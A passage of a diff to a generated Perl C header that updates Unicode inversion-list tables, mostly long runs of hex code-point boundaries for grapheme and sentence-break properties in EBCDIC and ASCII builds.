EBCDIC 1047 */ + 59, /* Number of elements */ + 148565664, /* Version and data structure type */ + 1, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0x59, + 0x5A, + 0x130, + 0x131, + 0x149, + 0x14A, + 0x1F0, + 0x1F1, + 0x390, + 0x391, + 0x3B0, + 0x3B1, + 0x587, + 0x588, + 0x1E96, + 0x1E9B, + 0x1E9E, + 0x1E9F, + 0x1F50, + 0x1F51, + 0x1F52, + 0x1F53, + 0x1F54, + 0x1F55, + 0x1F56, + 0x1F57, + 0x1F80, + 0x1FB0, + 0x1FB2, + 0x1FB5, + 0x1FB6, + 0x1FB8, + 0x1FBC, + 0x1FBD, + 0x1FC2, + 0x1FC5, + 0x1FC6, + 0x1FC8, + 0x1FCC, + 0x1FCD, + 0x1FD2, + 0x1FD4, + 0x1FD6, + 0x1FD8, + 0x1FE2, + 0x1FE5, + 0x1FE6, + 0x1FE8, + 0x1FF2, + 0x1FF5, + 0x1FF6, + 0x1FF8, + 0x1FFC, + 0x1FFD, + 0xFB00, + 0xFB07, + 0xFB13, + 0xFB18 +}; + +#endif /* defined(PERL_IN_REGCOMP_C) */ + +#if defined(PERL_IN_PERL_C) + +static const UV _Perl_GCB_invlist[] = { /* for EBCDIC 1047 */ + 1615, /* Number of elements */ + 148565664, /* Version and data structure type */ + 0, /* 0 if the list starts at 0; + 1 if it starts at the element beyond 0 */ + 0x0, + 0xD, + 0xE, + 0x15, + 0x16, + 0x40, + 0xCA, + 0xCB, + 0xFF, + 0x100, + 0x300, + 0x370, + 0x483, + 0x48A, 0x591, 0x5BE, 0x5BF, @@ -339188,99 +33583,89 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0x5C6, 0x5C7, 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F4, 0x600, 0x606, - 0x60C, - 0x60E, 0x610, 0x61B, 0x61C, 0x61D, - 0x61F, - 0x66A, - 0x66B, - 0x66D, - 0x66E, + 0x64B, + 0x660, + 0x670, + 0x671, + 0x6D6, + 0x6DD, 0x6DE, 0x6DF, + 0x6E5, + 0x6E7, 0x6E9, 0x6EA, - 0x6FD, - 0x6FF, - 0x703, + 0x6EE, 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7F6, - 0x7F8, - 0x7FB, - 0x800, + 0x710, + 0x711, + 0x712, + 0x730, + 0x74B, + 0x7A6, + 0x7B1, + 0x7EB, + 0x7F4, + 0x816, + 0x81A, + 0x81B, + 0x824, + 0x825, + 0x828, + 0x829, 0x82E, - 0x840, + 0x859, 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, 0x8D4, - 0x970, - 0x971, + 0x8E2, + 0x8E3, + 0x903, + 0x904, + 0x93A, + 0x93B, + 0x93C, + 0x93D, + 0x93E, + 0x941, + 0x949, + 0x94D, + 0x94E, + 0x950, + 0x951, + 0x958, + 0x962, + 0x964, + 0x981, + 0x982, 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, 0x9BC, + 0x9BD, + 0x9BE, + 0x9BF, + 0x9C1, 0x9C5, 0x9C7, 0x9C9, 0x9CB, - 0x9CF, + 0x9CD, + 0x9CE, 0x9D7, 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, + 0x9E2, 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, 0xA01, + 0xA03, 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, 0xA3C, 0xA3D, 0xA3E, + 0xA41, 0xA43, 0xA47, 0xA49, @@ -339288,113 +33673,63 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xA4E, 0xA51, 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, + 0xA70, + 0xA72, + 0xA75, 0xA76, 0xA81, + 0xA83, 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, 0xABC, + 0xABD, + 0xABE, + 0xAC1, 0xAC6, 0xAC7, + 0xAC9, 0xACA, 0xACB, + 0xACD, 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, + 0xAE2, 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xB00, 0xB01, + 0xB02, 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, 0xB3C, + 0xB3D, + 0xB3E, + 0xB40, + 0xB41, 0xB45, 0xB47, 0xB49, 0xB4B, + 0xB4D, 0xB4E, 0xB56, 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, + 0xB62, 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, + 0xB83, 0xBBE, + 0xBBF, + 0xBC0, + 0xBC1, 0xBC3, 0xBC6, 0xBC9, 0xBCA, + 0xBCD, 0xBCE, - 0xBD0, - 0xBD1, 0xBD7, 0xBD8, - 0xBE6, - 0xBF0, 0xC00, + 0xC01, 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, + 0xC3E, + 0xC41, 0xC45, 0xC46, 0xC49, @@ -339402,1033 +33737,1344 @@ static const UV PL_SB__XX_invlist[] = { /* for ASCII/Latin1 */ 0xC4E, 0xC55, 0xC57, - 0xC58, - 0xC5B, - 0xC60, + 0xC62, 0xC64, - 0xC66, - 0xC70, - 0xC80, + 0xC81, + 0xC82, 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, 0xCBC, + 0xCBD, + 0xCBE, + 0xCBF, + 0xCC0, + 0xCC2, + 0xCC3, 0xCC5, 0xCC6, + 0xCC7, 0xCC9, 0xCCA, + 0xCCC, 0xCCE, 0xCD5, 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, + 0xCE2, 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, + 0xD01, + 0xD02, 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, + 0xD3E, + 0xD3F, + 0xD41, 0xD45, 0xD46, 0xD49, 0xD4A, + 0xD4D, + 0xD4E, 0xD4F, - 0xD54, + 0xD57, 0xD58, - 0xD5F, + 0xD62, 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, 0xD82, 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, 0xDCA, 0xDCB, 0xDCF, + 0xDD0, + 0xDD2, 0xDD5, 0xDD6, 0xDD7, 0xDD8, + 0xDDF, 0xDE0, - 0xDE6, - 0xDF0, 0xDF2, 0xDF4, - 0xE01, + 0xE31, + 0xE32, + 0xE33, + 0xE34, 0xE3B, - 0xE40, + 0xE47, 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, + 0xEB1, + 0xEB2, + 0xEB3, + 0xEB4, 0xEBA, 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, + 0xEBD, 0xEC8, 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, 0xF18, 0xF1A, - 0xF20, - 0xF2A, 0xF35, 0xF36, 0xF37, 0xF38, 0xF39, - 0xF48, - 0xF49, - 0xF6D, + 0xF3A, + 0xF3E, + 0xF40, 0xF71, + 0xF7F, + 0xF80, 0xF85, 0xF86, + 0xF88, + 0xF8D, 0xF98, 0xF99, 0xFBD, 0xFC6, 0xFC7, - 0x1000, - 0x104C, - 0x1050, + 0x102D, + 0x1031, + 0x1032, + 0x1038, + 0x1039, + 0x103B, + 0x103D, + 0x103F, + 0x1056, + 0x1058, + 0x105A, + 0x105E, + 0x1061, + 0x1071, + 0x1075, + 0x1082, + 0x1083, + 0x1084, + 0x1085, + 0x1087, + 0x108D, + 0x108E, + 0x109D, 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, + 0x1100, + 0x1160, + 0x11A8, + 0x1200, 0x135D, 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166E, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, + 0x1712, 0x1715, - 0x1720, - 0x1737, - 0x1740, + 0x1732, + 0x1735, + 0x1752, 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, 0x1772, 0x1774, - 0x1780, + 0x17B4, + 0x17B6, + 0x17B7, + 0x17BE, + 0x17C6, + 0x17C7, + 0x17C9, 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, + 0x17DD, 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1804, - 0x1808, - 0x180A, 0x180B, + 0x180E, 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, + 0x1885, + 0x1887, + 0x18A9, + 0x18AA, 0x1920, + 0x1923, + 0x1927, + 0x1929, 0x192C, 0x1930, + 0x1932, + 0x1933, + 0x1939, 0x193C, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, + 0x1A17, + 0x1A19, + 0x1A1B, 0x1A1C, - 0x1A20, + 0x1A55, + 0x1A56, + 0x1A57, + 0x1A58, 0x1A5F, 0x1A60, + 0x1A61, + 0x1A62, + 0x1A63, + 0x1A65, + 0x1A6D, + 0x1A73, 0x1A7D, 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AAC, + 0x1A80, 0x1AB0, 0x1ABF, 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B5C, - 0x1B5E, - 0x1B60, + 0x1B04, + 0x1B05, + 0x1B34, + 0x1B35, + 0x1B36, + 0x1B3B, + 0x1B3C, + 0x1B3D, + 0x1B42, + 0x1B43, + 0x1B45, 0x1B6B, 0x1B74, 0x1B80, + 0x1B82, + 0x1B83, + 0x1BA1, + 0x1BA2, + 0x1BA6, + 0x1BA8, + 0x1BAA, + 0x1BAB, + 0x1BAE, + 0x1BE6, + 0x1BE7, + 0x1BE8, + 0x1BEA, + 0x1BED, + 0x1BEE, + 0x1BEF, + 0x1BF2, 0x1BF4, - 0x1C00, + 0x1C24, + 0x1C2C, + 0x1C34, + 0x1C36, 0x1C38, - 0x1C3B, - 0x1C3D, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C89, 0x1CD0, 0x1CD3, 0x1CD4, + 0x1CE1, + 0x1CE2, + 0x1CE9, + 0x1CED, + 0x1CEE, + 0x1CF2, + 0x1CF4, + 0x1CF5, + 0x1CF8, 0x1CFA, - 0x1D00, - 0x1DFA, + 0x1DC0, + 0x1DF6, 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FE0, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFD, - 0x2000, + 0x1E00, + 0x200B, + 0x200C, + 0x200D, + 0x200E, 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, 0x2028, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x204A, - 0x205F, - 0x2065, - 0x2066, + 0x202F, + 0x2060, 0x2070, - 0x2071, - 0x2072, - 0x207D, - 0x2080, - 0x208D, - 0x208F, - 0x2090, - 0x209D, 0x20D0, 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x213A, - 0x213C, - 0x2140, - 0x2145, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CE5, - 0x2CEB, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, + 0x261D, + 0x261E, + 0x26F9, + 0x26FA, + 0x270A, + 0x270E, + 0x2764, + 0x2765, + 0x2CEF, + 0x2CF2, 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, + 0x2D80, 0x2DE0, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, - 0x2E43, - 0x3000, - 0x3003, - 0x3005, - 0x3012, - 0x3014, - 0x301C, - 0x301D, - 0x3020, - 0x3021, + 0x2E00, + 0x302A, 0x3030, - 0x3031, - 0x3036, - 0x3038, - 0x303D, - 0x3041, - 0x3097, 0x3099, 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FC, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA4D0, - 0xA4FE, - 0xA4FF, - 0xA60D, - 0xA60E, - 0xA62C, - 0xA640, + 0xA66F, 0xA673, 0xA674, 0xA67E, - 0xA67F, + 0xA69E, + 0xA6A0, + 0xA6F0, 0xA6F2, - 0xA6F3, - 0xA6F4, - 0xA6F7, - 0xA6F8, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, + 0xA802, + 0xA803, + 0xA806, + 0xA807, + 0xA80B, + 0xA80C, + 0xA823, + 0xA825, + 0xA827, 0xA828, - 0xA840, - 0xA874, - 0xA876, - 0xA878, 0xA880, + 0xA882, + 0xA8B4, + 0xA8C4, 0xA8C6, - 0xA8CE, - 0xA8DA, 0xA8E0, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA900, + 0xA8F2, + 0xA926, 0xA92E, - 0xA92F, + 0xA947, + 0xA952, 0xA954, 0xA960, 0xA97D, 0xA980, + 0xA983, + 0xA984, + 0xA9B3, + 0xA9B4, + 0xA9B6, + 0xA9BA, + 0xA9BC, + 0xA9BD, 0xA9C1, - 0xA9C8, - 0xA9CA, - 0xA9CF, - 0xA9DA, - 0xA9E0, - 0xA9FF, - 0xAA00, + 0xA9E5, + 0xA9E6, + 0xAA29, + 0xAA2F, + 0xAA31, + 0xAA33, + 0xAA35, 0xAA37, - 0xAA40, + 0xAA43, + 0xAA44, + 0xAA4C, + 0xAA4D, 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5D, - 0xAA77, - 0xAA7A, - 0xAAC3, - 0xAADB, - 0xAADE, - 0xAAE0, + 0xAA7C, + 0xAA7D, + 0xAAB0, + 0xAAB1, + 0xAAB2, + 0xAAB5, + 0xAAB7, + 0xAAB9, + 0xAABE, + 0xAAC0, + 0xAAC1, + 0xAAC2, + 0xAAEB, + 0xAAEC, + 0xAAEE, + 0xAAF0, + 0xAAF5, + 0xAAF6, 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB5B, - 0xAB5C, - 0xAB66, - 0xAB70, + 0xABE3, + 0xABE5, + 0xABE6, + 0xABE8, + 0xABE9, + 0xABEB, + 0xABEC, + 0xABED, 0xABEE, - 0xABF0, - 0xABFA, 0xAC00, + 0xAC01, + 0xAC1C, + 0xAC1D, + 0xAC38, + 0xAC39, + 0xAC54, + 0xAC55, + 0xAC70, + 0xAC71, + 0xAC8C, + 0xAC8D, + 0xACA8, + 0xACA9, + 0xACC4, + 0xACC5, + 0xACE0, + 0xACE1, + 0xACFC, + 0xACFD, + 0xAD18, + 0xAD19, + 0xAD34, + 0xAD35, + 0xAD50, + 0xAD51, + 0xAD6C, + 0xAD6D, + 0xAD88, + 0xAD89, + 0xADA4, + 0xADA5, + 0xADC0, + 0xADC1, + 0xADDC, + 0xADDD, + 0xADF8, + 0xADF9, + 0xAE14, + 0xAE15, + 0xAE30, + 0xAE31, + 0xAE4C, + 0xAE4D, + 0xAE68, + 0xAE69, + 0xAE84, + 0xAE85, + 0xAEA0, + 0xAEA1, + 0xAEBC, + 0xAEBD, + 0xAED8, + 0xAED9, + 0xAEF4, + 0xAEF5, + 0xAF10, + 0xAF11, + 0xAF2C, + 0xAF2D, + 0xAF48, + 0xAF49, + 0xAF64, + 0xAF65, + 0xAF80, + 0xAF81, + 0xAF9C, + 0xAF9D, + 0xAFB8, + 0xAFB9, + 0xAFD4, + 0xAFD5, + 0xAFF0, + 0xAFF1, + 0xB00C, + 0xB00D, + 0xB028, + 0xB029, + 0xB044, + 0xB045, + 0xB060, + 0xB061, + 0xB07C, + 0xB07D, + 0xB098, + 0xB099, + 0xB0B4, + 0xB0B5, + 0xB0D0, + 0xB0D1, + 0xB0EC, + 0xB0ED, + 0xB108, + 0xB109, + 0xB124, + 0xB125, + 0xB140, + 0xB141, + 0xB15C, + 0xB15D, + 0xB178, + 0xB179, + 0xB194, + 0xB195, + 0xB1B0, + 0xB1B1, + 0xB1CC, + 0xB1CD, + 0xB1E8, + 0xB1E9, + 0xB204, + 0xB205, + 0xB220, + 0xB221, + 0xB23C, + 0xB23D, + 0xB258, + 0xB259, + 0xB274, + 0xB275, + 0xB290, + 0xB291, + 0xB2AC, + 0xB2AD, + 0xB2C8, + 0xB2C9, + 0xB2E4, + 0xB2E5, + 0xB300, + 0xB301, + 0xB31C, + 0xB31D, + 0xB338, + 0xB339, + 0xB354, + 0xB355, + 0xB370, + 0xB371, + 0xB38C, + 0xB38D, + 0xB3A8, + 0xB3A9, + 0xB3C4, + 0xB3C5, + 0xB3E0, + 0xB3E1, + 0xB3FC, + 0xB3FD, + 0xB418, + 0xB419, + 0xB434, + 0xB435, + 0xB450, + 0xB451, + 0xB46C, + 0xB46D, + 0xB488, + 0xB489, + 0xB4A4, + 0xB4A5, + 0xB4C0, + 0xB4C1, + 0xB4DC, + 0xB4DD, + 0xB4F8, + 0xB4F9, + 0xB514, + 0xB515, + 0xB530, + 0xB531, + 0xB54C, + 0xB54D, + 0xB568, + 0xB569, + 0xB584, + 0xB585, + 0xB5A0, + 0xB5A1, + 0xB5BC, + 0xB5BD, + 0xB5D8, + 0xB5D9, + 0xB5F4, + 0xB5F5, + 0xB610, + 0xB611, + 0xB62C, + 0xB62D, + 0xB648, + 0xB649, + 0xB664, + 0xB665, + 0xB680, + 0xB681, + 0xB69C, + 0xB69D, + 0xB6B8, + 0xB6B9, + 0xB6D4, + 0xB6D5, + 0xB6F0, + 0xB6F1, + 0xB70C, + 0xB70D, + 0xB728, + 0xB729, + 0xB744, + 0xB745, + 0xB760, + 0xB761, + 0xB77C, + 0xB77D, + 0xB798, + 0xB799, + 0xB7B4, + 0xB7B5, + 0xB7D0, + 0xB7D1, + 0xB7EC, + 0xB7ED, + 0xB808, + 0xB809, + 0xB824, + 0xB825, + 0xB840, + 0xB841, + 0xB85C, + 0xB85D, + 0xB878, + 0xB879, + 0xB894, + 0xB895, + 0xB8B0, + 0xB8B1, + 0xB8CC, + 0xB8CD, + 0xB8E8, + 0xB8E9, + 0xB904, + 0xB905, + 0xB920, + 0xB921, + 0xB93C, + 0xB93D, + 0xB958, + 0xB959, + 0xB974, + 0xB975, + 0xB990, + 0xB991, + 0xB9AC, + 0xB9AD, + 0xB9C8, + 0xB9C9, + 0xB9E4, + 0xB9E5, + 0xBA00, + 0xBA01, + 0xBA1C, + 0xBA1D, + 0xBA38, + 0xBA39, + 0xBA54, + 0xBA55, + 0xBA70, + 0xBA71, + 0xBA8C, + 0xBA8D, + 0xBAA8, + 0xBAA9, + 0xBAC4, + 0xBAC5, + 0xBAE0, + 0xBAE1, + 0xBAFC, + 0xBAFD, + 0xBB18, + 0xBB19, + 0xBB34, + 0xBB35, + 0xBB50, + 0xBB51, + 0xBB6C, + 0xBB6D, + 0xBB88, + 0xBB89, + 0xBBA4, + 0xBBA5, + 0xBBC0, + 0xBBC1, + 0xBBDC, + 0xBBDD, + 0xBBF8, + 0xBBF9, + 0xBC14, + 0xBC15, + 0xBC30, + 0xBC31, + 0xBC4C, + 0xBC4D, + 0xBC68, + 0xBC69, + 0xBC84, + 0xBC85, + 0xBCA0, + 0xBCA1, + 0xBCBC, + 0xBCBD, + 0xBCD8, + 0xBCD9, + 0xBCF4, + 0xBCF5, + 0xBD10, + 0xBD11, + 0xBD2C, + 0xBD2D, + 0xBD48, + 0xBD49, + 0xBD64, + 0xBD65, + 0xBD80, + 0xBD81, + 0xBD9C, + 0xBD9D, + 0xBDB8, + 0xBDB9, + 0xBDD4, + 0xBDD5, + 0xBDF0, + 0xBDF1, + 0xBE0C, + 0xBE0D, + 0xBE28, + 0xBE29, + 0xBE44, + 0xBE45, + 0xBE60, + 0xBE61, + 0xBE7C, + 0xBE7D, + 0xBE98, + 0xBE99, + 0xBEB4, + 0xBEB5, + 0xBED0, + 0xBED1, + 0xBEEC, + 0xBEED, + 0xBF08, + 0xBF09, + 0xBF24, + 0xBF25, + 0xBF40, + 0xBF41, + 0xBF5C, + 0xBF5D, + 0xBF78, + 0xBF79, + 0xBF94, + 0xBF95, + 0xBFB0, + 0xBFB1, + 0xBFCC, + 0xBFCD, + 0xBFE8, + 0xBFE9, + 0xC004, + 0xC005, + 0xC020, + 0xC021, + 0xC03C, + 0xC03D, + 0xC058, + 0xC059, + 0xC074, + 0xC075, + 0xC090, + 0xC091, + 0xC0AC, + 0xC0AD, + 0xC0C8, + 0xC0C9, + 0xC0E4, + 0xC0E5, + 0xC100, + 0xC101, + 0xC11C, + 0xC11D, + 0xC138, + 0xC139, + 0xC154, + 0xC155, + 0xC170, + 0xC171, + 0xC18C, + 0xC18D, + 0xC1A8, + 0xC1A9, + 0xC1C4, + 0xC1C5, + 0xC1E0, + 0xC1E1, + 0xC1FC, + 0xC1FD, + 0xC218, + 0xC219, + 0xC234, + 0xC235, + 0xC250, + 0xC251, + 0xC26C, + 0xC26D, + 0xC288, + 0xC289, + 0xC2A4, + 0xC2A5, + 0xC2C0, + 0xC2C1, + 0xC2DC, + 0xC2DD, + 0xC2F8, + 0xC2F9, + 0xC314, + 0xC315, + 0xC330, + 0xC331, + 0xC34C, + 0xC34D, + 0xC368, + 0xC369, + 0xC384, + 0xC385, + 0xC3A0, + 0xC3A1, + 0xC3BC, + 0xC3BD, + 0xC3D8, + 0xC3D9, + 0xC3F4, + 0xC3F5, + 0xC410, + 0xC411, + 0xC42C, + 0xC42D, + 0xC448, + 0xC449, + 0xC464, + 0xC465, + 0xC480, + 0xC481, + 0xC49C, + 0xC49D, + 0xC4B8, + 0xC4B9, + 0xC4D4, + 0xC4D5, + 0xC4F0, + 0xC4F1, + 0xC50C, + 0xC50D, + 0xC528, + 0xC529, + 0xC544, + 0xC545, + 0xC560, + 0xC561, + 0xC57C, + 0xC57D, + 0xC598, + 0xC599, + 0xC5B4, + 0xC5B5, + 0xC5D0, + 0xC5D1, + 0xC5EC, + 0xC5ED, + 0xC608, + 0xC609, + 0xC624, + 0xC625, + 0xC640, + 0xC641, + 0xC65C, + 0xC65D, + 0xC678, + 0xC679, + 0xC694, + 0xC695, + 0xC6B0, + 0xC6B1, + 0xC6CC, + 0xC6CD, + 0xC6E8, + 0xC6E9, + 0xC704, + 0xC705, + 0xC720, + 0xC721, + 0xC73C, + 0xC73D, + 0xC758, + 0xC759, + 0xC774, + 0xC775, + 0xC790, + 0xC791, + 0xC7AC, + 0xC7AD, + 0xC7C8, + 0xC7C9, + 0xC7E4, + 0xC7E5, + 0xC800, + 0xC801, + 0xC81C, + 0xC81D, + 0xC838, + 0xC839, + 0xC854, + 0xC855, + 0xC870, + 0xC871, + 0xC88C, + 0xC88D, + 0xC8A8, + 0xC8A9, + 0xC8C4, + 0xC8C5, + 0xC8E0, + 0xC8E1, + 0xC8FC, + 0xC8FD, + 0xC918, + 0xC919, + 0xC934, + 0xC935, + 0xC950, + 0xC951, + 0xC96C, + 0xC96D, + 0xC988, + 0xC989, + 0xC9A4, + 0xC9A5, + 0xC9C0, + 0xC9C1, + 0xC9DC, + 0xC9DD, + 0xC9F8, + 0xC9F9, + 0xCA14, + 0xCA15, + 0xCA30, + 0xCA31, + 0xCA4C, + 0xCA4D, + 0xCA68, + 0xCA69, + 0xCA84, + 0xCA85, + 0xCAA0, + 0xCAA1, + 0xCABC, + 0xCABD, + 0xCAD8, + 0xCAD9, + 0xCAF4, + 0xCAF5, + 0xCB10, + 0xCB11, + 0xCB2C, + 0xCB2D, + 0xCB48, + 0xCB49, + 0xCB64, + 0xCB65, + 0xCB80, + 0xCB81, + 0xCB9C, + 0xCB9D, + 0xCBB8, + 0xCBB9, + 0xCBD4, + 0xCBD5, + 0xCBF0, + 0xCBF1, + 0xCC0C, + 0xCC0D, + 0xCC28, + 0xCC29, + 0xCC44, + 0xCC45, + 0xCC60, + 0xCC61, + 0xCC7C, + 0xCC7D, + 0xCC98, + 0xCC99, + 0xCCB4, + 0xCCB5, + 0xCCD0, + 0xCCD1, + 0xCCEC, + 0xCCED, + 0xCD08, + 0xCD09, + 0xCD24, + 0xCD25, + 0xCD40, + 0xCD41, + 0xCD5C, + 0xCD5D, + 0xCD78, + 0xCD79, + 0xCD94, + 0xCD95, + 0xCDB0, + 0xCDB1, + 0xCDCC, + 0xCDCD, + 0xCDE8, + 0xCDE9, + 0xCE04, + 0xCE05, + 0xCE20, + 0xCE21, + 0xCE3C, + 0xCE3D, + 0xCE58, + 0xCE59, + 0xCE74, + 0xCE75, + 0xCE90, + 0xCE91, + 0xCEAC, + 0xCEAD, + 0xCEC8, + 0xCEC9, + 0xCEE4, + 0xCEE5, + 0xCF00, + 0xCF01, + 0xCF1C, + 0xCF1D, + 0xCF38, + 0xCF39, + 0xCF54, + 0xCF55, + 0xCF70, + 0xCF71, + 0xCF8C, + 0xCF8D, + 0xCFA8, + 0xCFA9, + 0xCFC4, + 0xCFC5, + 0xCFE0, + 0xCFE1, + 0xCFFC, + 0xCFFD, + 0xD018, + 0xD019, + 0xD034, + 0xD035, + 0xD050, + 0xD051, + 0xD06C, + 0xD06D, + 0xD088, + 0xD089, + 0xD0A4, + 0xD0A5, + 0xD0C0, + 0xD0C1, + 0xD0DC, + 0xD0DD, + 0xD0F8, + 0xD0F9, + 0xD114, + 0xD115, + 0xD130, + 0xD131, + 0xD14C, + 0xD14D, + 0xD168, + 0xD169, + 0xD184, + 0xD185, + 0xD1A0, + 0xD1A1, + 0xD1BC, + 